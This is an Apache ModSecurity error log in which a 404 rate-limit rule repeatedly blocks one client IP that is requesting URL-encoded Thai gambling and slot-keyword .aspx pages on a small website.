[Wed Jan 28 11:28:50.163518 2026] [:error] [pid 33490:tid 33534] [client 62.84.185.60:34692] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%202024.aspx"] [unique_id "aXmCcmjexcy58gsBPJH94QAAAEo"]
[Wed Jan 28 11:28:52.345974 2026] [:error] [pid 33636:tid 33643] [client 62.84.185.60:52504] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%9A%E0%B8%B2%E0%B8%97%20%E0%B9%81%E0%B8%84%E0%B9%88%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3.aspx"] [unique_id "aXmCdNIVZAudQH0BSC62xgAAAgU"]
[Wed Jan 28 11:28:54.433433 2026] [:error] [pid 42740:tid 42763] [client 62.84.185.60:52506] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20mukob.aspx"] [unique_id "aXmCdlnjAS34srJlXgQPcQAAAJU"]
[Wed Jan 28 11:28:56.413739 2026] [:error] [pid 33636:tid 33641] [client 62.84.185.60:52512] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXmCeNIVZAudQH0BSC621AAAAgM"]
[Wed Jan 28 11:28:58.422653 2026] [:error] [pid 33636:tid 33642] [client 62.84.185.60:52520] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXmCetIVZAudQH0BSC625wAAAgQ"]
[Wed Jan 28 11:29:00.423195 2026] [:error] [pid 33490:tid 33542] [client 62.84.185.60:52534] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%95%E0%B8%B4%E0%B8%A1true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B22020.aspx"] [unique_id "aXmCfGjexcy58gsBPJH95gAAAFI"]
[Wed Jan 28 11:29:02.483123 2026] [:error] [pid 42740:tid 42762] [client 62.84.185.60:40222] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2%2010%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100.aspx"] [unique_id "aXmCflnjAS34srJlXgQPhwAAAJQ"]
[Wed Jan 28 11:29:04.477893 2026] [:error] [pid 42740:tid 42763] [client 62.84.185.60:40228] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2%202024.aspx"] [unique_id "aXmCgFnjAS34srJlXgQPjQAAAJU"]
[Wed Jan 28 11:29:06.453624 2026] [:error] [pid 42740:tid 42761] [client 62.84.185.60:40238] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXmCglnjAS34srJlXgQPmQAAAJM"]
[Wed Jan 28 11:29:08.468560 2026] [:error] [pid 33636:tid 33656] [client 62.84.185.60:40248] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXmChNIVZAudQH0BSC63AQAAAhI"]
[Wed Jan 28 11:29:11.067884 2026] [:error] [pid 33580:tid 33611] [client 62.84.185.60:40250] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aXmCh5lb0QJtwfka8l7deAAAARg"]
[Wed Jan 28 11:29:13.256140 2026] [:error] [pid 42740:tid 42766] [client 62.84.185.60:56094] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lotto%20vip%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXmCiVnjAS34srJlXgQPsAAAAJg"]
[Wed Jan 28 11:29:15.407975 2026] [:error] [pid 33580:tid 33593] [client 62.84.185.60:56100] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lotto888%20%E0%B8%AB%E0%B8%A7%E0%B8%A2.aspx"] [unique_id "aXmCi5lb0QJtwfka8l7dewAAAQY"]
[Wed Jan 28 11:29:17.414228 2026] [:error] [pid 42740:tid 42757] [client 62.84.185.60:56106] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m88%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXmCjVnjAS34srJlXgQPvAAAAI8"]
[Wed Jan 28 11:29:19.522717 2026] [:error] [pid 33490:tid 33530] [client 62.84.185.60:56122] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/megaways%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXmCj2jexcy58gsBPJH-AAAAAEY"]
[Wed Jan 28 11:29:21.617363 2026] [:error] [pid 33636:tid 33643] [client 62.84.185.60:13678] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aXmCkdIVZAudQH0BSC63EAAAAgU"]
[Wed Jan 28 11:29:23.608007 2026] [:error] [pid 33489:tid 33505] [client 62.84.185.60:13686] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/myslot.aspx"] [unique_id "aXmCkxZrVZwQUFWC7__XWQAAAAw"]
[Wed Jan 28 11:29:25.594718 2026] [:error] [pid 42740:tid 42742] [client 62.84.185.60:13702] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/noname%20auto%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXmClVnjAS34srJlXgQP3AAAAIA"]
[Wed Jan 28 11:29:27.665566 2026] [:error] [pid 33491:tid 33552] [client 62.84.185.60:13718] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oker%20%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXmCl2P9UY0x3irkINCW7QAAAME"]
[Wed Jan 28 11:29:29.755577 2026] [:error] [pid 33491:tid 33560] [client 62.84.185.60:13732] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXmCmWP9UY0x3irkINCW7gAAAMk"]
[Wed Jan 28 11:29:31.746232 2026] [:error] [pid 33636:tid 33645] [client 62.84.185.60:32172] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXmCm9IVZAudQH0BSC63LwAAAgc"]
[Wed Jan 28 11:29:33.860702 2026] [:error] [pid 42740:tid 42765] [client 62.84.185.60:32182] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXmCnVnjAS34srJlXgQP9AAAAJc"]
[Wed Jan 28 11:29:35.853467 2026] [:error] [pid 42740:tid 42744] [client 62.84.185.60:32186] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker.aspx"] [unique_id "aXmCn1njAS34srJlXgQP-wAAAII"]
[Wed Jan 28 11:29:37.840218 2026] [:error] [pid 42740:tid 42754] [client 62.84.185.60:32188] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aXmCoVnjAS34srJlXgQQBAAAAIw"]
[Wed Jan 28 11:29:39.879771 2026] [:error] [pid 33490:tid 33547] [client 62.84.185.60:32194] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXmCo2jexcy58gsBPJH-JgAAAFc"]
[Wed Jan 28 11:29:42.016731 2026] [:error] [pid 33636:tid 33646] [client 62.84.185.60:5916] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050.aspx"] [unique_id "aXmCptIVZAudQH0BSC63OwAAAgg"]
[Wed Jan 28 11:30:29.136606 2026] [:error] [pid 33489:tid 33510] [client 62.84.185.60:23894] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aXmC1RZrVZwQUFWC7__XxAAAABE"]
[Wed Jan 28 11:30:31.214179 2026] [:error] [pid 33489:tid 33509] [client 62.84.185.60:54454] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B8%B3.aspx"] [unique_id "aXmC1xZrVZwQUFWC7__XxwAAABA"]
[Wed Jan 28 11:30:33.352635 2026] [:error] [pid 33491:tid 33567] [client 62.84.185.60:54466] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aXmC2WP9UY0x3irkINCXPwAAANA"]
[Wed Jan 28 11:30:35.544134 2026] [:error] [pid 33580:tid 33589] [client 62.84.185.60:54472] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aXmC25lb0QJtwfka8l7eDQAAAQI"]
[Wed Jan 28 11:30:37.682639 2026] [:error] [pid 33636:tid 33653] [client 62.84.185.60:54474] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aXmC3dIVZAudQH0BSC63owAAAg8"]
[Wed Jan 28 11:30:39.743040 2026] [:error] [pid 33580:tid 33600] [client 62.84.185.60:54490] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aXmC35lb0QJtwfka8l7eEQAAAQ0"]
[Wed Jan 28 11:30:41.733974 2026] [:error] [pid 33580:tid 33594] [client 62.84.185.60:31256] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXmC4Zlb0QJtwfka8l7eFAAAAQc"]
[Wed Jan 28 11:30:43.788377 2026] [:error] [pid 33491:tid 33557] [client 62.84.185.60:31270] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg.aspx"] [unique_id "aXmC42P9UY0x3irkINCXSgAAAMY"]
[Wed Jan 28 11:30:45.863764 2026] [:error] [pid 42740:tid 42750] [client 62.84.185.60:31286] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg168.aspx"] [unique_id "aXmC5VnjAS34srJlXgQQwAAAAIg"]
[Wed Jan 28 11:30:47.871611 2026] [:error] [pid 33489:tid 33503] [client 62.84.185.60:31288] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg888th%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550.aspx"] [unique_id "aXmC5xZrVZwQUFWC7__X1wAAAAo"]
[Wed Jan 28 11:30:49.853227 2026] [:error] [pid 33489:tid 33505] [client 62.84.185.60:31294] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aXmC6RZrVZwQUFWC7__X2gAAAAw"]
[Wed Jan 28 11:30:51.839953 2026] [:error] [pid 33580:tid 33593] [client 62.84.185.60:31558] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shorturl%20asia%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXmC65lb0QJtwfka8l7eUQAAAQY"]
[Wed Jan 28 11:30:53.962964 2026] [:error] [pid 33491:tid 33559] [client 62.84.185.60:31560] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXmC7WP9UY0x3irkINCXVQAAAMg"]
[Wed Jan 28 11:30:56.085036 2026] [:error] [pid 33636:tid 33643] [client 62.84.185.60:31574] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aXmC8NIVZAudQH0BSC63ugAAAgU"]
[Wed Jan 28 11:30:58.148928 2026] [:error] [pid 42740:tid 42759] [client 62.84.185.60:31586] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aXmC8lnjAS34srJlXgQQzwAAAJE"]
[Wed Jan 28 11:31:00.338813 2026] [:error] [pid 33489:tid 33514] [client 62.84.185.60:31598] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aXmC9BZrVZwQUFWC7__X6QAAABU"]
[Wed Jan 28 11:31:02.452763 2026] [:error] [pid 33490:tid 33539] [client 62.84.185.60:31118] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aXmC9mjexcy58gsBPJH-ygAAAE8"]
